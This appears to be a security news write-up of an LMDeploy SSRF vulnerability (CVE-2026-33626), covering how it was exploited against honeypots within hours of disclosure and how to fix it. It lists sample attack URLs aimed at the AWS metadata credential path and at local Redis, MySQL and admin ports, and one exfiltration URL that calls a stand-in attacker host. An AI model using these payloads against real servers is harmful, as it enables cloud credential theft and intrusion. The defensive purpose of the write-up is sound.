A Server-Side Request Forgery vulnerability in LMDeploy, the Shanghai AI Laboratory’s toolkit for serving large language and vision-language models, was weaponized against live honeypots 12 hours and 31 minutes after its advisory hit GitHub. Tracked as CVE-2026-33626 (GHSA-6w67-hwm5-92mq) and disclosed April 21, 2026, the flaw turns any exposed LMDeploy instance into a generic HTTP SSRF primitive — one that attackers immediately pointed at AWS Instance Metadata Service to steal IAM credentials from GPU nodes.
What Happened
On April 21, 2026, the InternLM project published a security advisory for LMDeploy, a widely-deployed toolkit for compressing and serving LLMs and vision-language models (VLMs). Sysdig’s Threat Research Team logged the first exploitation attempt against its honeypot fleet at 12 hours 31 minutes after the advisory went public — one of the fastest disclosure-to-exploitation windows recorded for an AI infrastructure bug this year.
The vulnerability lives in load_image() inside lmdeploy/vl/utils.py. The function accepts a URL from any client that submits an image to a vision-language endpoint and fetches it server-side. It performs no validation against internal or private IP ranges, meaning an attacker with access to the inference API can coerce the server into making arbitrary outbound HTTP requests from inside the cluster or VPC.
CVE-2026-33626 carries a CVSS 7.5 (High). All LMDeploy versions before 0.12.3 are affected.
Technical Details
The attack primitive is straightforward. A vision-language request normally looks something like this — an image URL plus a text prompt — and the server fetches the image, preprocesses it, and hands the tensor to the model:
| |
Because load_image() never rejected link-local, loopback, or RFC1918 destinations, the attacker could substitute any URL:
http://169.254.169.254/latest/meta-data/iam/security-credentials/— AWS IMDSv1, returning IAM role names and temporary credentialshttp://127.0.0.1:6379/— Redis running alongside the inference serverhttp://127.0.0.1:3306/— MySQLhttp://10.0.x.x:8080/— internal admin panelshttp://attacker.example/oob/<data>— DNS-based exfiltration of collected strings
In a single eight-minute session observed by Sysdig, the attacker chained probes against IMDS, Redis, MySQL, HTTP admin interfaces on ports 80 and 8080, and an out-of-band DNS channel — all through the vision-language image loader. No authentication was required beyond whatever the LMDeploy endpoint itself demanded, which in most public deployments is nothing.
Impact Assessment
What sets CVE-2026-33626 apart from a textbook SSRF is the class of host it lands on. LMDeploy runs on GPU instances — typically g5, p4d, or equivalent — provisioned with IAM roles scoped to pull model artifacts from S3, assume cross-account training roles, and reach dataset buckets. One successful IMDS fetch doesn’t just expose a server; it hands the attacker temporary AWS credentials with whatever blast radius the role was granted, often enough to pivot into private model weights, training data, or sibling accounts.
Affected populations include self-hosted LMDeploy deployments behind the public internet, VLM serving infrastructure at AI platform vendors that expose LMDeploy-style endpoints, internal AI platforms where “internal” still means reachable from any compromised workload in the VPC, and research labs and universities running InternLM-based models on shared GPU clusters.
The SSRF also scans internal Redis and MySQL, which in many AI pipelines hold request logs, cached embeddings, or session metadata — secondary compromise vectors even if IMDS happens to be locked down with IMDSv2.
Mitigation Steps
Upgrade LMDeploy to 0.12.3 or later immediately. The patched release adds URL safety checks that reject link-local, loopback, and private RFC1918 ranges before load_image() issues a fetch.
If you cannot upgrade in the next few hours, enforce IMDSv2 on every GPU node running LMDeploy. IMDSv2’s session-token requirement defeats this SSRF primitive because the attacker cannot reach the /api/token PUT endpoint through a GET-only image fetch. Scope the instance’s IAM role to the absolute minimum — no wildcard S3 access, no sts:AssumeRole into production accounts. Put an egress proxy in front of the inference node that blocks outbound connections to 169.254.169.254, 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16. Require authentication on LMDeploy endpoints and put them behind an API gateway rather than exposing them directly.
Hunt for indicators in inference-server logs. Look for image-URL parameters pointing at private IPs, 169.254.169.254, or localhost. Sysdig’s writeup includes the full honeypot request corpus.
References
GitHub Security Advisory GHSA-6w67-hwm5-92mq is the authoritative disclosure. NVD entry CVE-2026-33626 carries the CVSS 7.5 score. Sysdig TRT’s writeup documents the honeypot exploitation chain and IOCs. The patched release ships in LMDeploy 0.12.3.
If you serve vision-language models on GPU infrastructure, treat this as a same-day patch. The 12-hour exploitation window confirms attackers are watching AI infrastructure advisories in real time, and the IAM credential payoff makes it worth their while.